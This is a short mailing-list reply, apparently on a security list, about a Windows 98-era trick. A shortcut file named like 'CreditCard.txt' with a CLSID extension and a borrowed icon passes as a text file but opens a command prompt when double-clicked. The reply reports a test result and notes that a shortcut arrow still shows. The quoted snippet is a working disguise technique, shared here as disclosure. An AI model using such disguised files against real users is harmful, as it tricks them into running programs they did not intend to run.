Re: Double clicking on innocent looking files may be dangerous

[Nicolas Gregoire]

> ==== CreditCard.txt.{FBF23B40-E3F0-101B-8488-00AA003E56F8} ====
> [InternetShortcut]
> URL=file://c:/command.com
> IconIndex=-152
> IconFile=shell32.dll
>
> ========================= END OF FILE =========================
>
> Now the file in explorer will be visible with normal
> .txt-file icon (you can change IconIndex and/or IconFile
> for other icon), and when someone clicks on it he thinks
> that's normal text file, but as the result of double-clicking
> MS-DOS Prompt will pop-up, without any confirmations(!!!).

Tried on Win98.
The MS-DOS prompt pop-up, but the icon is not the normal txt-file one.
It's the "link to a txt-file" icon (ie. the same as a "normal text-file"
but with a little arrow in the lower left corner).
But an non-vigilant user can be fooled ....

Nicob